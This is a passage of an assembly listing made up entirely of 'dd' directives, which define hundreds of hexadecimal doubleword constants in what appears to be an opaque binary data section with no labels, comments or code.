		dd 0ACB2391Ah, 0E0A0E40h, 934699B5h, 2344C916h,	0F5960033h
		dd 0A432ED62h, 8752919h, 0A0769800h, 7A8173A9h,	581672FDh
		dd 0E009ACBAh, 8232B93h, 4DA8A6Ch, 77A11701h, 0ED8076BCh
		dd 3C3F9560h, 69C02F1Fh, 196A0414h, 3BBB1E13h, 811973B8h
		dd 70146EEBh, 98F88893h, 0C6261A60h, 0B99262D9h, 11CB6600h
		dd 5870688Bh, 1863F60Ah, 21956293h, 0ED5CB42Dh,	4DFB00CAh
		dd 9F6426C4h, 0C025B03Ch, 0DE4C2871h, 80773A2Dh, 883761CAh
		dd 1373EA60h, 0C01F0E2Ah, 19BB19DEh, 188832C2h,	0C9938038h
		dd 0B22CBA5Bh, 0DF0C8575h, 292A0F63h, 798120Bh,	2FB0289Ch
		dd 0F0388603h, 0E78FD760h, 84190Ch, 6B7B8019h, 97230A39h
		dd 153F7900h, 3BCC41BCh, 0AA57814h, 8A19DD1Ch, 0E65A03A4h
		dd 41003A33h, 1D478DF1h, 32510D2h, 8B90A89Ch, 28B5222h
		dd 8FFA1BB8h, 0B8A0CA7Bh, 39DC013Dh, 35932240h,	0F19BBF2h
		dd 781F4F3h, 0B806B9F8h, 71152509h, 781D8CE4h, 1EECA613h
		dd 7C7B0A0Fh, 884BF850h, 0D3521B3Ah, 7C5298h, 8A7442BDh
		dd 3144EBh, 18F247B6h, 0E56BF6C4h, 6F0A09F6h, 0B070EE36h
		dd 0E3323D80h, 1CBD582h, 425AFE96h, 2081B2ADh, 2C996230h
		dd 8EBDE701h, 20E0E267h, 0AAF20071h, 5FB8D431h,	0BE0966F7h
		dd 10620FFEh, 207430h, 491E485Eh, 0E88A8354h, 8FD7F53Ah
		dd 0A0FA534Ah, 9C94EC74h, 84925507h, 1351ADCh, 0CDE68115h
		dd 80637D8Ah, 0AFC32BE1h, 7E7032h, 0A30B0148h, 0EA7BC60Ch
		dd 0FC1C3929h, 0F4B8FD01h, 0C047D0F1h, 0AF8A7F90h, 3261C96Bh
		dd 0CF57E410h, 632A2903h, 0A0710381h, 72CEC87Eh, 98E70409h
		dd 4817049Dh, 260B804Eh, 73292D8Dh, 1F153A1Fh, 9289DD80h
		dd 1C6AC4Fh, 0B0165751h, 0F90B2C6Eh, 0FA39803Bh, 201FA2EDh
		dd 50C501C3h, 0A1F23F55h, 0DC4EC9EFh, 8100BA6Eh, 880F02F8h
		dd 3C8C7CA3h, 4149FD1h,	8708F4EBh, 3C063B16h, 5859320Ah
		dd 70832C18h, 0DBB880B6h, 0CF03B3E6h, 6343D55Ah, 0D46AC845h
		dd 83CC001Ah, 8A2C49BDh, 39C377A3h, 243C8F98h, 61480CE9h
		dd 0C0771AE9h, 0BA19B942h, 21D097E1h, 0E2EF6610h, 0D4A29F00h
		dd 4B2DB8E0h, 762A072Fh, 565B61A5h, 0BD226808h,	0B0360C9Bh
		dd 11C03AE6h, 0C8606348h, 2486B202h, 26040C82h,	8912382Ch
		dd 421E0847h, 317C7F45h, 0C58EB90Ch, 39B6086Eh,	0B7809F42h
		dd 871428A2h, 0E672FF98h, 1F29E900h, 51915A93h,	307C6E78h
		dd 6ACC0B40h, 0F0EA7BC7h, 0EE18B660h, 75EB2B37h, 1D9D0177h
		dd 6F9C92B0h, 721BCFAh,	0D522C21Fh, 599070B0h, 0BC12397Dh
		dd 5A164E81h, 0F80BB46Bh, 726122FBh, 9F2A7B99h,	0B851418Ch
		dd 19582881h, 8ACB005Fh, 814066F1h, 340C0C2Ch, 0D2408C6Dh
		dd 7415B440h, 0A21380A9h, 0C7EA0207h, 0E1609AA7h, 7871ADh
		dd 0B10DD3C4h, 2A6E81Dh, 0EA63AA77h, 378C569h, 47BCFA89h
		dd 34E096C9h, 9C0341C7h, 6FBD291Fh, 0FAA107F8h,	0E0D8DA35h
		dd 0A97A8ECFh, 53A89E4Fh, 0EE9CF900h, 0D30CEC09h, 0B8BC94A0h
		dd 69AC5132h, 14D7E094h, 96E60B9Eh, 0C68036EEh,	159DB074h
		dd 9CBAC806h, 3869F16Ch, 0D008DE0h, 8270A22Eh, 81E7A3FDh
		dd 0FB017CF1h, 0B98C6D38h, 4E199615h, 0AB378900h, 0F2144FA1h
		dd 234C071Eh, 0AA76A99Dh, 751178h, 46B28725h, 618D048h
		dd 43707C23h, 0FB1128B3h, 9C000229h, 3437E994h,	6C707798h
		dd 4E61990Eh, 56FA80F0h, 2855129Dh, 1650FDA4h, 32DC098h
		dd 713FA6F2h, 41C5E981h, 0BE921560h, 7A7B8F29h,	138CA067h
		dd 30F2D1F7h, 0F796FC5h, 0BC007D2Fh, 0C6235DC3h, 191426Ah
		dd 4BAE2A9Dh, 0D472C405h, 9028A437h, 0BA007051h, 9247CBC5h
		dd 1882D22h, 0CDFE43C8h, 0F4B60401h, 15019CA2h,	987BEF4Eh
		dd 99F4D80Fh, 0F5B9280Eh, 4BD91DE0h, 8B1F4025h,	81A38FA4h
		dd 0A0B1AF60h, 0C57936FBh, 24107BA1h, 22981DD8h, 71A9BD0Ah
		dd 7644B8A4h, 19626740h, 810F89E4h, 44EB6D92h, 0B082D597h
		dd 25FB2184h, 6C4ED271h, 36775C7Dh, 1359B100h, 6C44DCD7h
		dd 7F5E7B75h, 0CB100417h, 88707DADh, 51032AD4h,	88274CF7h
		dd 0BC90C4C4h, 442BFB99h, 9814087Dh, 2254A921h,	95F00377h
		dd 5145DEBCh, 0EA6848E0h, 0D7AF9909h, 10BC0994h, 0C0951428h
		dd 0F3BB1DA1h, 5D00F440h, 0DD1A8DE4h, 28931h, 29B0FED0h
		dd 0B45CC5EEh, 8D1588C6h, 71BA0039h, 7297FBCFh,	1600A0A9h
		dd 0F4E60857h, 7D29F2h,	1615FCCh, 42386698h, 7BFEA574h
		dd 0E99E3732h, 6846EEh,	4803C008h, 579E13DFh, 0E99C6F1Dh
		dd 0F71D7BC5h, 2F7ED432h, 30DE97E5h, 499F35D0h,	6F008C7Bh
		dd 230F20DDh, 601556DEh, 0EE3B190h, 477F9F10h, 330D5B09h
		dd 4F01057h, 53C200A5h,	0C4AE456Ah, 3700A35Eh, 983B72B5h
		dd 7F056DFh, 9DB6778Ah,	39B3769Bh, 72FE6800h, 8B65EB12h
		dd 0F7A324EEh, 24414FA4h, 88979AF4h, 808BF918h,	34482E66h
		dd 0A66051BBh, 74B2B549h, 0BAA300BCh, 9DE5020Fh, 0B0040523h
		dd 0B9F0BF87h, 3DF8BC8Dh, 2CDE38AAh, 98C4B30Ch,	0E4997019h
		dd 0CF105E07h, 0E400DDDAh, 149603E1h, 0F4CEEB5h, 0E6DA16FEh
		dd 7E9EE414h, 219A080h,	0D0BF9A30h, 40E6ED1Eh, 0AD32A1C0h
		dd 1CBB321h, 5EC6CE2Bh,	24336C9Eh, 38046A3Ch, 0EDA7A570h
		dd 0D4328484h, 20C1332Ch, 9B84177Fh, 2DEF28C2h,	0F6EC1810h
		dd 9FE97701h, 887DB8B7h, 0F10CEC8Ah, 7FBE8794h,	7818F9D6h
		dd 2E1C982Fh, 300ECA7h,	24CD8CFFh, 2239DD87h, 3170C531h
		dd 0E8F4A036h, 4188004Eh, 5482802Ah, 0E20F8465h, 410C6432h
		dd 0BD15693Ah, 75AA7C00h, 6F249B50h, 721788h, 2F01CC3Ah
		dd 1AC777E3h, 88FAE1Dh,	0C95526C0h, 61C6186Bh, 7011E9E6h
		dd 401C2502h, 0FB7ECB08h, 0AC7C2150h, 0F6F8E6B0h, 0F879A8EFh
		dd 0A03FF31Fh, 0C1E62100h, 0F802A8E7h, 8DB2409h, 0F7900676h
		dd 8022387Fh, 71AA148Dh
		dd 742258A2h, 493E9200h, 25DD4B18h, 4E0B0FCBh, 0C4B4C67Dh
		dd 0A10FA986h, 9D5820F1h, 0B018C18Ah, 724824h, 56F0C28Ah
		dd 2E7E7A74h, 14502C38h, 11F49E24h, 11037D21h, 6CC65FBAh
		dd 7600117Eh, 711B6020h, 16662D1Ch, 1364607h, 15D8B7A9h
		dd 0CE71808Ch, 55D329B4h, 2A68CFC7h, 0E2C4BB2h,	91B80FDh
		dd 48DA41E5h, 522CCCEEh, 6FA60968h, 30B84013h, 0ED007573h
		dd 0BBF3E281h, 0B90108E5h, 3583B850h, 69405E82h, 27CB6888h
		dd 704C3B30h, 0B1C65C62h, 578F07A0h, 7B4AE04Bh,	163059E9h
		dd 9984A9A8h, 53650067h, 0E2FFE8FBh, 0F000F545h, 7F5D41B8h
		dd 98D77415h, 668E4460h, 0A688CB74h, 0EE550137h, 0A3F0C035h
		dd 31032FBh, 1254DC99h,	152DF898h, 0F5670B6Ch, 58106FB1h
		dd 380F4039h, 0A0AEBC06h, 124D21D9h, 0CEEE1199h, 39A7006Fh
		dd 3D14EDD3h, 0B3E9076Ch, 0D08FF39Fh, 0AD4B1061h, 53585409h
		dd 2DF4809Eh, 1712B3Fh,	7F62FA4Eh, 348B6648h, 84B991DCh
		dd 561FDB80h, 5454EA11h, 13B0C6Ah, 2E20D543h, 0F271E2E3h
		dd 7C000862h, 0BEF7A46Ah, 0CBAA11CFh, 5C14A3h, 0DEAF4E14h
		dd 0EE922CDCh, 3652C800h, 66954237h, 9D431626h,	0B8782051h
		dd 76020B01h, 32159252h, 670CE0A6h, 4DCA4CBh, 3DD70379h
		dd 0A5B4C243h, 3EE96E20h, 7D497A14h, 5C241E55h,	43258506h
		dd 8CCCC595h, 42861D10h, 0CBF70325h, 3B7BC582h,	45805811h
		dd 0AA368972h, 0DC1E335Bh, 51CC981Ah, 90A95895h, 69D304F8h
		dd 4C7837FBh, 4D10FCh, 0D574949Eh, 9B3152C4h, 0B1985E05h
		dd 20C03ECAh, 0B9B783A3h, 0B5EE0B60h, 2D8E888h,	0CE36251Ch
		dd 9100E8C4h, 77A9C992h, 299D04h, 8933C534h, 6D73BD39h
		dd 0E12F323Ch, 0CE0D4E70h, 14F08EE4h, 0D4127B6Bh, 0E28C6CAh
		dd 0E800A455h, 0B8E63E50h, 0D3C93Ah, 4D9DA68Ah,	80DB33h
		dd 0C18FA8D6h, 4EFD5616h, 0BF2DB038h, 52B480C2h, 15FA6B98h
		dd 0AC9F2E53h, 9C0B601Ch, 7000EFE7h, 4B6D415Eh,	0F0E820h
		dd 0F3A6249h, 345C5AF1h, 70722405h, 8080BE88h, 94EE690Bh
		dd 33FE41F8h, 2C67F41Bh, 0CF1D7402h, 0C60DD6D7h, 0BED300F8h
		dd 0A3EB5887h, 950A4989h, 787450E9h, 0FEF6A443h, 0C0707611h
		dd 35710119h, 0E4009AD4h, 257A235Ah, 0C8863430h, 3F808EC8h
		dd 878D0752h, 0D171C8h,	0A6B43D2Dh, 7CB9AFD3h, 1BD85805h
		dd 0ECC86FADh, 34D50694h, 0D0986059h, 280108A1h, 0A74DC7D4h
		dd 0C388A4Fh, 915CA200h, 2A9C9DD8h, 44442D75h, 4B00F095h
		dd 19C6A7E3h, 0D5F173h,	0AA3259A5h, 99787623h, 60925176h
		dd 3A8BE500h, 84F77472h, 25370FE9h, 7BC0DC9Ch, 12557DC8h
		dd 0C54F9E14h, 65410040h, 0FAD4459h, 900A770Dh,	82A3111Ch
		dd 72AA0D91h, 9DC861AEh, 914F76A0h, 0E93B0454h,	0B470C23Ah
		dd 5D909827h, 9C812374h, 0E9E911Ch, 80142E72h, 0A174D841h
		dd 8C4D0096h, 6AF1ED27h, 0AE2E9EA2h, 0D250C09Ch, 3C2D88FAh
		dd 79D9F603h, 0D82BEB49h, 0B15197BDh, 3703F88h,	0FC4E5E8Ch
		dd 0DBB0F5DFh, 0A70A44A1h, 4886397Bh, 8B008F11h, 726F4676h
		dd 0B00E025h, 9CC9589h,	1D73A247h, 0D54B08h, 0A99D50EFh
		dd 39CBA071h, 0F8B38136h, 2833022Ch, 0BC808F22h, 86792BFFh
		dd 0B711689Ch, 8B73BC4Ch, 748077E2h, 0B0E699F5h, 0A2056D05h
		dd 8C825369h, 4DEE238Dh, 0DC371001h, 0B886F676h, 8A3F0880h
		dd 7A4B840Fh, 33F4A100h, 0B25B55A6h, 0F2EC0094h, 0F9053247h
		dd 60C6538Fh, 3139A1AAh, 0DC0860EBh, 90A6013h, 0FED90F00h
		dd 0EC6F4FB5h, 7DAF003Eh, 80386850h, 46609B22h,	0F35BDB30h
		dd 0FDD91F98h, 0A59130ACh, 9303A997h, 88F14B59h, 0DD74C836h
		dd 63C97875h, 0DE7668F4h, 4FEE8597h, 0F308FC08h, 0C11FE243h
		dd 0E310FAE8h, 94000A58h, 979DF1AFh, 0E8669824h, 792060ACh
		dd 0C8FD3F46h, 0DF443706h, 741933ADh, 959A00CDh, 0C7A7776Dh
		dd 0C1E46BEh, 5880D24Bh, 0E4FA1B1h, 79940C3Dh, 0F671AD90h
		dd 9337500h, 74BBEA7Fh,	4D9B2EE1h, 0AFBF0AFFh, 0E97C809Ch
		dd 0F5396AAh, 0D9994C03h, 2AB17Dh, 51E0F341h, 894BAA77h
		dd 0FCB48D3Eh, 85075600h, 0C390E220h, 0BF470096h, 5AD779F4h
		dd 73007461h, 0B3EA533Fh, 0A8703428h, 303C7ECCh, 8F79CE87h
		dd 1200D661h, 0FB9CABC2h, 0B7415924h, 65502158h, 0D4527460h
		dd 0E0D91FECh, 73FD0B00h, 0AF99A2h, 0CC39A18Ah,	2457B29Bh
		dd 0DA6E6300h, 0EBFDD49Eh, 0A739C06Ch, 72DF47C5h, 815D8D00h
		dd 0D9D6E137h, 0A5440AB1h, 60C0961Ch, 0FD8D5B19h, 0CEA26800h
		dd 0BA7048FFh, 0F97C0339h, 1EEE1D79h, 0E3390886h, 48490657h
		dd 1F74200Bh, 64B406h, 0EE41F8Fh, 0D000CD7Ah, 49F78681h
		dd 30664E63h, 2E49FAC0h, 0D300D49Bh, 41B55F14h,	399E05h
		dd 0B3D89F61h, 2045A364h, 31EE418h, 0A2EC71h, 792F9450h
		dd 30156260h, 0AE1FB03h, 0CE3E89Fh, 51ED258h, 2200D931h
		dd 86412FA6h, 29ABDDh, 85309669h, 113A439Bh, 83D21F03h
		dd 1DEBB60Ah, 40F66341h, 0F0582AB7h, 62196117h,	9B693841h
		dd 34FF27CEh, 0D5172178h, 1180D921h, 0FC2E366Ch, 99DC60FDh
		dd 59622703h, 0D3480828h, 0D580FF8Fh, 9C67865Ch, 2178006Dh
		dd 3062372Fh, 0E100E05Dh, 0A02299E9h, 3032EEEBh, 0D9402761h
		dd 0D0E624Dh, 0A37D17D6h, 0E1F7892Fh, 80933A60h, 206C0E79h
		dd 21043CA0h, 3102F8F5h, 7C920694h, 49CC8372h, 9D99D883h
		dd 4A3B39C6h, 0DD01CFA2h, 9A544082h, 7A30CB8Fh,	6A45391Ch
		dd 0F7E9B783h, 90001834h, 2AB5D8A0h, 4D7086h, 0A5576649h
		dd 39383D4Ch, 51E56531h, 0A886D883h, 0C023317Ah, 0D1686C00h
		dd 4E1CE707h, 0B5E300A8h, 4DC8AC3Ah, 0D80CA9B1h, 40D3EE10h
		dd 49FC60C1h, 0A4B9F1B2h, 0E17D9600h, 0B6E017Bh, 50627592h
		dd 40B1909Dh, 0BA2A0A35h, 4E03B0E4h, 4923B20Eh,	6A3A910Ch
		dd 0C0DE6422h, 0F3870D57h, 0CD0BFB5Fh, 0DD2CB5B3h, 92E45484h
		dd 0D223E810h, 0CFB2C0A8h, 6D878ACh, 90D9C76Fh,	210021FCh
		dd 304D7324h, 78175991h, 6512064Eh, 71081E54h, 0F2861B00h
		dd 237E531Ah, 2A300032h, 8B1096CEh, 4005F80h, 49704767h
		dd 6C246918h, 0FF683971h, 0EDA988h, 0F3DB93FAh,	6032A67Eh
		dd 387DEF00h, 4FF9869Fh, 4640163h, 3CC22448h, 7D38878Eh
		dd 34F4FCEDh, 653A1490h, 0E788ABE1h, 0A1938D6h,	27DA0CB4h
		dd 69B4580h, 31FEC13Ch,	2DBBE502h, 435B822Fh, 2860C120h
		dd 551A4180h, 4443C27Fh, 7010810Bh, 7E970E4h, 2C09E874h
		dd 907FA149h, 0DE5987FDh, 0FB205739h, 0FDDF8CEh, 0D7CFC969h
		dd 0A10A23E1h, 0B8404792h, 2109C780h, 1DCA0CB5h, 8EF36473h
		dd 7440264Eh, 71A4D112h, 70115E00h, 1C637D7Ah, 9DCD1CF8h
		dd 4943436Ch, 0C1D23F7Eh, 9000844h, 3A9880E2h, 4D71F2h
		dd 8AEFE677h, 0D7C07E39h, 1D1EB712h, 0E7F16401h, 38CCE1F0h
		dd 7E1B2AB9h, 601900D0h, 7480AE2Ah, 0F833DF85h,	14085Ch
		dd 2A673821h, 8C88846Ch, 2CEDCA03h, 14A7CE60h, 0B81B4AC6h
		dd 0C3857E00h, 1303E8F2h, 6196EE0Ah, 3D80AC1Eh,	0AFD138B1h
		dd 7DBF0CBDh, 0C08A5B8h, 227821CFh, 46F3C438h, 14CF039Ch
		dd 1ADAB5C0h, 0A79B69E8h, 68E51F17h, 6A81D302h,	0D6A469A5h
		dd 622A64C8h, 0D5078811h, 86830840h, 0E8048B1Eh, 62991FC1h
		dd 30901229h, 41923CD8h, 70EED010h, 8D3730ADh, 1A140AC0h
		dd 0E6202860h, 0C28217ACh
		dd 157E7419h, 0AFFCD000h, 0C78A095h, 0C04F7A8Ch, 1029B610h
		dd 0A90E2B6Dh, 8050CD76h, 0AF1D5C3Bh, 80090060h, 1C27F9EAh
		dd 7100F866h, 7267475Bh, 4E7F99h, 0C539599Ch, 0ED602885h
		dd 3208B566h, 0AB2C0021h, 12F9CF59h, 7C02A968h,	66458979h
		dd 5E6E0060h, 97F8C3Fh,	4A6CB900h, 0E28DA2DDh, 934509AAh
		dd 55CB21h, 0C9464EEh, 7A9A7B6Ch, 0A6139EAh, 4FECC503h
		dd 0E1975774h, 825395FAh, 0EFF48318h, 0DEA90077h, 4F06726Eh
		dd 9A091D7Fh, 39F078h, 6B98A737h, 14764A2Bh, 30082063h
		dd 0D420007Ch, 3183A7CFh, 5A3C66D3h, 5C4B8528h,	0EB83E4EDh
		dd 3B900108h, 673E3288h, 99598EEBh, 0CCAB86C5h,	1FF049h
		dd 0E676360Bh, 0FEED55D2h, 75082A66h, 0F3200021h, 519A4836h
		dd 40C9D14h, 510508E4h,	65D60045h, 0E1BCF0E8h, 0B501467Ch
		dd 0FA71C9CBh, 0F082739Dh, 75B7C56Bh, 0A8980603h, 61E6B802h
		dd 93689831h, 6B804036h, 6A608BE5h, 5FBF7228h, 0D91B0E06h
		dd 20C0E2EBh, 3CC0A38Dh, 5663E500h, 0C7044A32h,	0EECC00BBh
		dd 0FF9FB6CAh, 49013061h, 6AA421C6h, 27D45B9Ch,	29E13B23h
		dd 7EE65000h, 0F7567D30h, 3D6583Bh, 1419BBF6h, 78A79821h
		dd 0BF4300D5h, 53932686h, 8E00A21Ah, 28AC8967h,	3CE2D605h
		dd 7900C75Ch, 31B09AFh,	6B014261h, 5671D101h, 219658E2h
		dd 1EDEC30h, 3BF747CDh,	2FC26D1h, 0DBB8DFh, 50C4499Fh
		dd 463999F9h, 0B0447A00h, 37243D75h, 0C36178E3h, 45B13F49h
		dd 6A0E30EEh, 2781AA50h, 4B014002h, 227064DDh, 1A7C01F9h
		dd 910F94FCh, 8554E061h, 3A0BC007h, 36964C3Dh, 0FEF87C58h
		dd 0D74E0178h, 0DFAA67E5h, 0AB81FBC3h, 426AFC0Ah, 324D3048h
		dd 0C0FA304Fh, 63E8C2Ah, 0BEAF81E2h, 0E53A4EC7h, 0F43C7F6Dh
		dd 0CE8A0795h, 7CC6AA5Fh, 0F5A800A8h, 0FDA18F69h, 7AFE723Fh
		dd 8391FB3Bh, 0A23792E4h, 0D420004Dh, 76D0E01h,	2B005880h
		dd 8846270Bh, 0F73AD2DBh, 694CC0h, 6D7ACB1Ah, 2E58A3A2h
		dd 27880B00h, 427E903Ch, 0B2B7584Eh, 0DFFB2200h, 6613167Bh
		dd 702EEF00h, 10F8968Eh, 5880E723h, 25E7D2DCh, 4C016F16h
		dd 34523B76h, 1880A3A4h, 74EF7FD8h, 0FA00E287h,	61CC8F63h
		dd 60483C52h, 8880B04Eh, 1F1FE0E5h, 4F80E623h, 4A9BBCBFh
		dd 3AD63B40h, 0F47C200h, 4EB075ADh, 0D44D7906h,	0EF0A1A0h
		dd 0CB7BAA14h, 391A9AA1h, 6518808Dh, 274B5730h,	7E23705Fh
		dd 0C67B1D0Eh, 0A8370187h, 0E54EBA8Ch, 4DA84054h, 0D000C9Bh
		dd 7ECF1896h, 0B6F2FDh,	146AF62Dh, 0AE29C1D7h, 0DAA9C60h
		dd 90583Fh, 2F4F8561h, 0E6F22592h, 108AFB32h, 0E10497FAh
		dd 81E9FB64h, 0C3541710h, 90D72DF4h, 2A99EDh, 835D976Dh
		dd 0AD0564F0h, 99898F3Fh, 129DD41h, 2020D308h, 11094282h
		dd 8511EE54h, 43D218F2h, 88A1BD51h, 0B989D07Eh,	0D9732810h
		dd 0FAEB305h, 44C04FB5h, 0DDBF11h, 510A3148h, 1ABA0109h
		dd 4D25E80Fh, 0A8F5E019h, 9B4FD4h, 0DB9C872h, 2466B5B0h
		dd 4A745A00h, 0F8377D63h, 1F3760Fh, 8E68C9EDh, 0C4EF552Bh
		dd 0AF004D0Ch, 9B39EE53h, 0F2EBD3B5h, 25F80FF9h, 65C0E355h
		dd 0B91CAA11h, 170EF7E8h, 83242AFCh, 80913CC5h,	0CDE85Bh
		dd 621F1018h, 19EB075Eh, 43C94EAh, 31498563h, 0BC211429h
		dd 0E8FC52A2h, 36A73D2h, 963F9B67h, 0EA8B94EFh,	0B6E41101h
		dd 5CB7C798h, 0F82DC0C4h, 8231031Eh, 0B10FCD23h, 0ADECDCA0h
		dd 18F24800h, 66C3A3BDh, 63C91F7Dh, 0E28480D5h,	0AC075455h
		dd 115C39h, 29A4EA9Eh, 67D34199h, 50C0A84Ah, 42B3F5ADh
		dd 8A9B5E80h, 0ECB7C0DDh, 414418A0h, 9158F822h,	0EF6DF500h
		dd 0A84F907Ah, 278A00F1h, 70B65374h, 0D207C326h, 87C313Bh
		dd 0FAAA61C0h, 34E30035h, 4E87D7E4h, 0B811986Fh, 23007C79h
		dd 0A11497FBh, 0ED3E1B04h, 48B79D58h, 0BB0E280h, 56B605h
		dd 864997C0h, 623CD07Ah, 360D6700h, 91341FD8h, 0AEA20096h
		dd 0A3D384CCh, 0FA00597Dh, 6EA61B62h, 5B166h, 75E21587h
		dd 0AFCBF1C8h, 8B570600h, 9EB34C4Dh, 0E3B02862h, 3D5F7588h
		dd 41383EFEh, 45C590Eh,	269AC4A0h, 19005DDBh, 4B3DE196h
		dd 3E69B6h, 6F491DA2h, 0C9EA2F04h, 353BD900h, 0C93CEE5h
		dd 0F02FEA0h, 4874503Ch, 0B47529A0h, 1B28A5CAh,	8175B447h
		dd 0C99BE100h, 7D165D34h, 38C601FCh, 113993F4h,	0C3F0CB09h
		dd 0DD00726Dh, 2478E6D6h, 1577CFAh, 0E08EDAD3h,	0D7BC1845h
		dd 0F17DF891h, 70782065h, 6303877Bh, 12C6C4A6h,	0B050003Fh
		dd 5CCB78Dh, 2092A93Dh,	9632758h, 67900Fh, 8495BB20h, 5D3502EBh
		dd 79FB079Fh, 66B84C6Bh, 18001BEDh, 15E57348h, 0ABF2FEh
		dd 0FC5B9F7h, 2483A46Dh, 236CD03h, 0B71D2B84h, 0DC68D7D0h
		dd 0A622391Fh, 0F605200h, 6E72A855h, 0ABE2A11Dh, 632C4FC0h
		dd 16328D6Bh, 0AC236D70h, 0E2530F4Eh, 997D20D0h, 0BB7E25h
		dd 3C15446h, 26ACFE33h,	0CC007892h, 1F8BF55Ah, 24615565h
		dd 3640669h, 0A00E8349h, 24035788h, 809AE73Ch, 750BD57Ch
		dd 0AB1B28h, 4907986h, 0D2303F01h, 9B455200h, 483B7C94h
		dd 0E45A03CAh, 0CCCDBF8Dh, 806C0D90h, 871D0C00h, 0C4B9E6BEh
		dd 5837006Eh, 9F4FD2B8h, 0E2003DA6h, 8594E0C6h,	7CC999Ah
		dd 42EC650Bh, 87F7A0C8h, 53268313h, 0C22C26D5h,	700E1E07h
		dd 0C0A14FAEh, 32192281h, 16170077h, 7F02691Bh,	0E672C10Ch
		dd 9A0B0912h, 0EB40A01Fh, 562E8755h, 22D61803h,	38151899h
		dd 80BBD33Bh, 0A66D8872h, 38FEF1Ch, 0B8706749h,	94D0DB8Bh
		dd 8100549Bh, 0FBCB103Fh, 142F09C7h, 9BB250D8h,	41008B3Eh
		dd 18203271h, 0BE00F7CBh, 43EA48DEh, 0E54B0Ch, 0B5CCC269h
		dd 3D019C9h, 5EDF5601h,	0F34E7A2Ah, 3F8291DCh, 9800EFDDh
		dd 0CC242EC2h, 0D400B701h, 9E6C205Ch, 70907F0Fh, 16873A86h
		dd 3C7DF303h, 0C1FA32A9h, 0BEEE7C60h, 3C68F95Ch, 0A77801ECh
		dd 0C3DA57E4h, 0C727970h, 7F4A55Eh, 74009EA8h, 0B4E99C3Eh
		dd 1F64235Ch, 80FCF2DCh, 1E82EDB2h, 75007747h, 15E117CBh
		dd 1F3A9D23h, 7C41281h,	0DE3E07A1h, 0B9D101E0h,	0FF00A2DBh
		dd 27F6AE8Bh, 4D419Bh, 352684A6h, 16CF5387h, 7F8C7400h
		dd 1BC73D1Fh, 4B664C29h, 3EC08040h, 0EA000255h,	19B11E6h
		dd 0D00272Ch, 8712D373h, 0FC57145Dh, 6F5F1232h,	0CF36001Eh
		dd 29CE6B3Ch, 0E4EA3EFEh, 0F38A5400h, 13906E9Fh, 0CA1812C1h
		dd 510B0F16h, 0A6E4A580h, 5F16C238h, 0E800FEB4h, 726C0324h
		dd 69B000B3h, 59761EC9h, 2C92778Bh, 496DAF05h, 55C4B324h
		dd 0F20370C0h, 50D60E73h, 0C3257EECh, 58D4C09Ch, 6A062AF6h
		dd 941BB024h, 0D0B30138h, 0FD8AB533h, 0ED0DF0FFh, 0BA4F4100h
		dd 49C929CAh, 460005Dh,	0A733A150h, 9F00A2A5h, 4280220Eh
		dd 0D290DFh, 0EBA47D1Bh, 0B6277169h, 0F9F43D00h, 13C89422h
		dd 58CB00D3h, 0FCC975A5h, 0CA03208Ch, 520FBD53h, 809EAA68h
		dd 0DB472492h, 4CD000DFh, 0B255AAE8h, 6402D489h, 68C6EF45h
		dd 0D1006704h, 0A8220D6Ah, 0F894A901h, 50BF03D6h, 46D337B4h
		dd 0BCB27F00h, 0D094A531h, 3B20FFC8h, 91F400BAh, 0F1744790h
		dd 1800A2B1h, 48547C70h, 62FE76h, 285EA4C9h, 400A91F3h
		dd 95779700h, 2DCB0461h, 3DF818h, 31774D6h, 894145E6h
		dd 4F863B01h, 9DBBD26h,	0E94E80D7h, 2D2F0095h, 37292C77h
		dd 0DBB0E8C8h
		dd 0C11C9DFEh, 0CF002832h, 6D73B330h, 2DE421h, 0ED44567Ch
		dd 0E69BA60Dh, 0BFBC5003h, 984E5C9Ch, 9DEB31h, 97C360B9h
		dd 4906BB76h, 7B032800h, 6933A53Eh, 0ADCC0087h,	0C737D61h
		dd 0E602DE91h, 3CD7126Fh, 0F5CC802Bh, 6EDEABFh,	604EC3DCh
		dd 0E800B861h, 3892A7B1h, 3B442794h, 451E80E4h,	3756C0E3h
		dd 20888A79h, 0E7F2F00h, 8361783Dh, 39CB3431h, 71CC0292h
		dd 3D108D35h, 7EAF03EDh, 2FEC7B49h, 0FE78B9A8h,	84453B39h
		dd 0AA7A169Ah, 23C09980h, 0A39C0058h, 0F4B036DFh, 0ED00B6DEh
		dd 0AD5278FCh, 359677Eh, 0C7336F2Bh, 0C8002869h, 1F9F16E2h
		dd 12CCA2C4h, 5E47DA2Eh, 0D0BC8000h, 5B976461h,	38CDAB00h
		dd 8FBB039Ah, 0CC714CB0h, 57A21E00h, 0C50B1B7Fh, 0F3D16502h
		dd 500913CFh, 0E51E0024h, 2345CD2Fh, 0B400A221h, 0B62BE2BCh
		dd 943ED410h, 0F2580048h, 0D7943D7Ah, 6D3BCF00h, 0BC2AA085h
		dd 79C10703h, 0B0637E31h, 0BD026646h, 36384276h, 0E0D800B7h
		dd 0C9059E1Ah, 0C1CD0080h, 60CB4D43h, 0C004F670h, 0F07A8433h
		dd 0C4191883h, 37184B40h, 0BC2647C3h, 0B4001C15h, 0C8DF2B6Dh
		dd 0A4950E3Fh, 986F9D56h, 4D59B80h, 3C038028h, 49DB32B5h
		dd 835000F9h, 10C21AE3h, 0D300B4A7h, 0F181B3D1h, 4C9B29C8h
		dd 0ED3ED035h, 56E5EB03h, 0BCF83C92h, 7303A3B0h, 803D4B75h
		dd 0FC6D90F4h, 265A0EA1h, 6F6FAF0Ah, 59DDEDFh, 80838FD0h
		dd 2FDB4088h, 0AFB28200h, 5FECD9BFh, 3919004Bh,	0A6B3D317h
		dd 0EE021BCFh, 596F85A3h, 0ADE4C0EDh, 1C9F820h,	89C14BEBh
		dd 0D46B8B7Dh, 64004C4Ah, 0D0910BC7h, 586EB3Ch,	0F409D4EAh
		dd 399C003Fh, 0F8052B98h, 8E9B4B3Ch, 0EAC08h, 933BBF62h
		dd 28EB1Bh, 847A23EFh, 0B10C2E9Ah, 8180BF2Ch, 0A2B02761h
		dd 0E863D5EAh, 8FC2B500h, 703414CDh, 92E2491Dh,	46902500h
		dd 0E5BD9F0h, 0D1A26C19h, 8080E7C4h, 0E1EEBC60h, 52D52912h
		dd 0F5455800h, 5944EDFh, 6E4199A9h, 147BC0E9h, 6C00D046h
		dd 650732E8h, 4BB9150Ah, 971C5F72h, 0CCED0039h,	0CBA43181h
		dd 80DBE33Ah, 286EAA98h, 98F5F24Ch, 237700A0h, 0D9ACE04Eh
